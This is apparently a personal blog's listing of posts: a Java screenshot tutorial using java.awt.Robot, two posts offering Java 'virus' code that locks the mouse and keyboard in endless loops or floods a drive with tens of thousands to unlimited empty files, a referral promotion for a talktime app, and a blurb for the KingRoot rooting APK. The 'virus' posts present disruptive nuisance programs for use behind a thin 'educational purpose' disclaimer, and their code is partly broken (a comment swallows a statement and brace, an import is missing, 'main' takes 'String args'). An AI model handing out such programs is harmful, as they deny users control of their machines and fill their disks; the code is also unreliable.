Showing posts with label Tips and Tricks. Show all posts
Showing posts with label Tips and Tricks. Show all posts

Capturing screen shot using java program

03:23 1 Comment


Capturing screenshot using java

Here i will tell you how to write a program using java which is capable of capturing screenshots(either whole or partial).And save it as an image.

Which java API ?

The java.awt.Robot class provides a useful method for capturing a screenshot.Here is the method prototype.

BufferedImage createScreenCapture(Rectangle screenRect)

It is clear from the prototype that this function returns a BufferedImage and takes a Rectangle class object (portion of the screen to capture) as the argument.The BufferedImage which is returned could be saved using ImageIO class write method.Lets begin with the program.


1) Capturing full screen


In order to capture full screen using createScreenCapture(Rectangle screenRect)
screenRect should have the full screen size and in order to do that we will use Toolkit class of java.

Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());


Now here begins the whole program.

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class FullScreenCaptureExample {
    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            String format = "jpg";//can be,“png”, “bmp”,"jpeg" etc
            String fileName = "screenshot." + format;
             
            Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
            BufferedImage screenImg = robot.createScreenCapture(screenRect);
            ImageIO.write(screenImg, format, new File(fileName));
             
            System.out.println("screenshot saved!");
        } 
        catch (AWTException | IOException ex) {
            System.err.println(ex);
        }
    }
}



2)Capturing a portion of screen


You can also capture only a portion of screen by defining the rectangle object of createScreenCapture().

Rectangle area=new Rectangle(int startxpos,int startypos,int endxpos,int endypos)
startxpos >>Starting x position in pixels.
startypos>> Starting y position in pixels.
endxpos >> Ending x position in pixels.
endypos >>Ending y position in pixels

Here is the complete code.

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class PartialScreenCaptureExample {
    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            String format = "jpg";
            String fileName = "PartialScreenshot." + format;
             
            
            Rectangle captureRect = new Rectangle(0, 0, 100,100);/*top left corner to 100 pixels down and 100 pixels right*/
            BufferedImage screenFullImage = robot.createScreenCapture(captureRect);
            ImageIO.write(screenFullImage, format, new File(fileName));
             
            System.out.println("partial screenshot saved!");
        } catch (AWTException | IOException ex) {
            System.err.println(ex);
        }
    }
}

Hacking the mouse and keyboard

00:52 Add Comment



Hacking mouse and keyboard



Hello Friends , here i (Shashank sahu) am back with a

new interesting java virus code which is capable of hacking the mouse and keyboard. The hacking code below will stuck your mouse at a specific position on the computer screen.And will not allow to move it.The only method to get rid of it is to sign out and re sign in or you can simply restart the computer. But here you couldn't move the mouse so how will you do that without touching the power button. I know it is simple you could use the keyboard shortcuts to restart it but what  if this code also hack the keyboard. Then there is no other option left except to use the power button of you system. Below is the complete code which is capable of doing what is said above.


*All virus codes given here are for educational purpose author will take no responsibility for any misuse whatsoever*














 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
robot.keyPress(KeyEvent.VK_H);//repeatedly type H so keyboard does not work robot.mouseMove(100,100);//repeatedly move mouse pointer to (100,100) so it stucks }
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}
If you want to do something more funny rather than simply hanging the computer then you should have a look at the code which is given below.
So what the difference here below code will not hang the mouse it will simply hack the keyboard .If the client will open any text editor like notepad or word.Above code will repeatedly start typing fool.







 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
//repeatedly type fool
robot.keyPress(KeyEvent.VK_F);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_L);
}
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}

Ladooo Free recharge App Rs.80 now

13:05 1 Comment



This is an article about a free recharging app called Ladooo, simply earn free talktime by just for downloading apps and get recharged if wallet is filled with minimum payout balance of Rs.20.
In my previous article I mentioned about a free recharging app called mCent can earn talktime by simply downloading apps and can get recharged when min. wallet balance is Rs.10. Here there is another app called Ladooo which is as same as mCent. Ladoo has lots of offers and is one of the highest paying app for downloading apps. And also gives Rs. 80(may vary from time) for referring friends to Ladooo. Let’s see how to earn free recharges from Ladooo.


Features of Ladoo
  • More App Offers
  • Highest paying on each app
  • UI is awesome
  • Atleast download and use 2 apps (use each downloaded app atleast 30sec)
  • Claim missed referral option (if you didn’t get the referral amount of any of referred
  • Minimum payout is Rs.20





How To Get Talktime In Ladooo


  1.  Click the below link to download and install  Download Ladooo
  2.  Install app and open it
  3.  Signup with the Ladooo app after signup click Get Started
  4.  After successful signup you will get a list of apps
  5.  Click and install atleast 2 apps (If you install one app you should open and stay in the  app for  30sec and come back to Ladooo to get credited).
  6.  Open and Stay in the app for 30sec
  7.  Back to Ladoo – Wallet will be credited with preferred amount.
  8.  Wish you the best to earn maximum recharges from Ladooo.
If this article help you to earn little much money don't forget to share and like ;) Happy Recharging !

Kingroot v4.9.3 build 146 APK

03:19 Add Comment


KingRoot Apk

KingRoot App is an amazing tool for “lazy people” who just want to get root access but don’t want to flash any third party Recovery into their lovely device. It is one of the most famous root tool in China and now we release English version here for everyone, totally free and without AD.
Something interesting will happen when you root your device by KingRoot, the most suitable Root strategy will be deployed from cloud, that is why we have higher success rate that some other tools. Specifically, root success rate will higher than 60% on supported device.
WHAT’S NEW
  • enhanced ability Root adapter Samsung , Huawei and more models
  • security management Root authorization covering Android5.0 version
  • prohibit bulk from Kai , easy to manage software from Kai behavior
Screenshots

Create a simple virus using java

02:17 1 Comment












What's my idea

Before we start talking how we will create a simple flooder virus using java we must be clear about what is  the idea and how to implement it.
So the idea is to create a program which will create  thousands of blank files in a drive you will don't believe but it could create file with  a speed of   1060+ files per second .

How to implement it

Now the problem is how we would do this??
So here is the answer . 
  • First of all we will design a loop which will run N number of times where N is the number of files which we want to create.
  • Then we will create a new File with the help of createNewFile() function of java.io.File class.
  • The name of each file is the value of the variable which is used in the loop.
Here is the sample virus program.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args[])throws IOException
    {
        int i=0;
      int numOfFiles=50000;// files to be created

        while(i<=numOfFiles)
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Note you can also change the path from "D:/" to any other drive or folder but the compulsion is that you must have administrative access.

How to upgrade it

You could even make it whole dreadful by allowing it to make infinite files by making few changes in the above program. Here is the code to implement this.


/**

 * **********This virus program is just for educational purpose 

 * author will not be responsible for any issues **************

 * 

 * @author (Shashank sahu) 

 * This program is a virus program and creates N empty files in your system

 */
 import java.io.File;
class Virus
{
    public static void main(String args)throws IOException
    {
        long i=0;
        while(true)// or you can also use   while(i>0) 
        {
        File f=new File("D:/"+i+".txt"); // creates file in D:/ drive
        f.createNewFile();// creates new file
        i++;
      }// closing of while loop
    }
}

Download The Virus Doc Here(it is a .txt File)


Here as the virus program on action